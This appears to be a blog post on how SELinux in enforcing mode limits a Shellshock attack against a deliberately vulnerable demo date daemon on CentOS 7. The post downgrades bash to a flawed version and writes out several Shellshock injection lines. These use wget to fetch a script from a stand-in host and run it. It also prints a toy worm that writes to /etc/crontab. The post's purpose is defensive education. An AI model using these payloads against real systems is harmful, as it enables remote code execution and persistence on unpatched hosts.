Quantcast
Channel: Hacker's ramblings
Viewing all articles
Browse latest Browse all 519

SElinux and Shellshock

$
0
0

The fallout from Shellshock seems to be over, but I ended up in a conversation about SElinux. So, this post is a follow-up on my Helsinki Security Meetup -post about SElinux.

Part 1: Enabling Shellshock

At this point, a flawed Bash isn't available without an intentional downgrade. First check the current version on my CentOS 7:

# rpm -q bash
bash-4.2.45-5.el7_0.4.x86_64

# bash --version
GNU bash, version 4.2.45(1)-release (x86_64-redhat-linux-gnu)

Then do a downgrade (it's amusing how downgrade is done via an upgrade command):

rpm --upgrade -h --oldpackage \
 ftp://ftp.sunet.se/pub/Linux/distributions/centos/7.0.1406/os/x86_64/Packages/bash-4.2.45-5.el7.x86_64.rpm

Then check the version to make sure:

rpm -q bash
bash-4.2.45-5.el7.x86_64

# bash --version
GNU bash, version 4.2.45(1)-release (x86_64-redhat-linux-gnu)

Somebody really dropped the ball there. It is impossible to determine if shellshock has been fixed or not. The version of Bash won't change! Anyway, the RPM-version tells the truth.

Part 2: The Setup

To act responsibly, I won't show how you can pop the cork of somebody's server. Instead, I created a demo application of my own which contains code similar to known flaws which allow Shellshock to do its dirty deeds.

The basic idea of my demo is to create a TCP-socket -based application to display current date and time on chosen locale. Full C-source code for date_daemon.c is available. From security perspective my code isn't that bad. This time (see the previous SElinux post), it doesn't allow you to run any command you like, but it runs date-comand from bash without any parameters. The part where I mess up, is that I don't sanitize or check the user input. To allow Shellshock to kick in, I'll set the un-sanitized user input into an environment variable LANG. If any sensible locale is entered, it will display the current date and time in the given format.

Example:

Hello there!
Get date at my box by entering your LANG preference and <enter>:
fi_FI
to 13.11.2014 02.43.10 +0200

From SElinux-perspective, I chose to emulate DHCPd-behaviour. There would have been other choices, but ... this time I went this way for a no particular reason. The source code can be compiled with a simple: gcc date_daemon.c -o date_daemon

Then to allow SElinux to kick in a shell-script and specific file-contexts are required. The start script (start.date_daemon.sh) is a very simple:

#!/bin/bash

exec ./date_daemon

Then change the file contexts:

chcon -t dhcpd_exec_t date_daemon
chcon -t initrc_exec_t start.date_daemon.sh

And confirm the result, that everything is set correctly from SElinux-perspective:

# ls -Z

-rwxr-xr-x. root root unconfined_u:object_r:dhcpd_exec_t:s0 date_daemon
-rw-r--r--. root root unconfined_u:object_r:admin_home_t:s0 date_daemon.c
-rwxr--r--. root root unconfined_u:object_r:initrc_exec_t:s0 start.date_daemon.sh

One last thing is that an Enforcing DHCPd cannot bind to any TCP-port you want. As I used TCP/8282, it needs to be allowed:
semanage port --add -t dhcpd_port_t -p tcp 8282

Then it is possible to run the leaky daemon: ./shellshock_test.sh

Finally, we'll confirm, that the process is running in DHCPd-context (in my case, the PID for the process is 25964):

# ps -Z 25964
LABEL                            PID   TTY STAT TIME COMMAND
unconfined_u:system_r:dhcpd_t:s0 25964 ?   S    0:00 ./date_daemon

Remember to make sure, that SElinux is in enforcing-mode. If it isn't it would be the same thing as running without SElinux:

# getenforce
Enforcing

All ok this far, let's move on for the good stuff.

Part 3: The Attack

Now that the sample daemon is running and SElinux is in enforcing-mode, let's run a sample attack on it. The set of commands I made up for this purpose is as follows:

  1. Get shellshock'd:
    () { :;};
  2. Change into a target directory:
    cd /bin ;
  3. Create a temporary shell script injector.sh:
    1. rm nasty.worm.sh ;
    2. wget --no-verbose --output-document=nasty.worm.sh http://my.evil.site/nasty.worm.sh ;
    3. rm injector.sh ;
    4. bash nasty.worm.sh
  4. Run the injector-script:
    bash injector.sh

The particular nasty worm in this example is a shell-script:

#!/bin/bash

now=$(date)
echo "$now: Your box is pwned!"
echo "$now: Your box is pwned!" >> /tmp/pwn.log
echo "# $now: Your box is pwned!" >> /etc/crontab

It won't do much harm. It simply gets the current date and time into a variable and prints it to standard output, into a log file and finally it modifies crontab-file to simulate a worm keeping itself alive. 

Try injecting a new command into /bin/ (notice, the command in bold is a single line):

$ telnet localhost 8282
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Hello there!
Get date at my box by entering your LANG preference and <enter>:
() { :;}; cd /bin ; echo 'rm nasty.worm.sh ; wget --no-verbose --output-document=nasty.worm.sh http://my.evil.site/nasty.worm.sh ; rm injector.sh ; bash nasty.worm.sh'> injector.sh ; bash injector.sh

/bin/bash: injector.sh: Permission denied
bash: injector.sh: No such file or directory
Connection closed by foreign host.

Notice how it will fail on injecting.

Let's try something else. This is a typical comment that I get a lot: "but it can write into /tmp/!". Sure it can, let's try that:

Get date at my box by entering your LANG preference and <enter>:
() { :;}; cd /tmp ; echo 'rm nasty.worm.sh ; wget --no-verbose --output-document=nasty.worm.sh http://
my.evil.site/nasty.worm.sh ; rm injector.sh ; bash nasty.worm.sh'> injector.sh ; bash injector.sh
2014-11-13 05:01:35 URL:http://my.evil.site/nasty.worm.sh [156/156] -> "nasty.worm.sh" [1]
Thu Nov 13 05:01:35 EET 2014: Your box is pwned!
nasty.worm.sh: line 6: /etc/crontab: Permission denied
Connection closed by foreign host.

Nice, this time it actually did something. wget ran ok and it actually attempted to inject something. But the fact remains: it still runs with DHCPd-context which means it cannot do much. See:

# ls -Z /tmp/
-rw-r--r--. root root unconfined_u:object_r:dhcpd_tmp_t:s0 nasty.worm.sh
-rw-r--r--. root root unconfined_u:object_r:dhcpd_tmp_t:s0 pwn.log

Even the newly created files are in DHCPd tmp -context, they won't do much harm there.

Part 4: Let's Play what-if, Permissive SElinux

Permissive, Disabled or no SElinux at all will result in something else. Let's weaken the security first:

# setenforce Permissive
# getenforce
Permissive

Like this:

Get date at my box by entering your LANG preference and <enter>:
() { :;}; cd /bin ; echo 'rm nasty.worm.sh ; wget --no-verbose --output-document=nasty.worm.sh http://blog.hqcodeshop.fi/nasty.worm.sh ; rm injector.sh ; bash nasty.worm.sh'> injector.sh ; bash injector.sh
2014-11-13 05:02:30 URL:http://my.evil.site/nasty.worm.sh [156/156] -> "nasty.worm.sh" [1]
Thu Nov 13 05:02:30 EET 2014: Your box is pwned!
Connection closed by foreign host.

Yes, you'll have a brand new command sitting in /bin/:

# ls -Z /bin/nasty.worm.sh
-rw-r--r--. root root unconfined_u:object_r:bin_t:s0   /bin/nasty.worm.sh

Also your crontab will have a nice new row:

# cat /etc/crontab
...
# Thu Nov 13 05:02:30 EET 2014: Your box is pwned!

Not cool!

Part 5: Wrap-up

See: SElinux protects you even if you have software security failing.

Learn it! Love it! :-) 


Viewing all articles
Browse latest Browse all 519

Trending Articles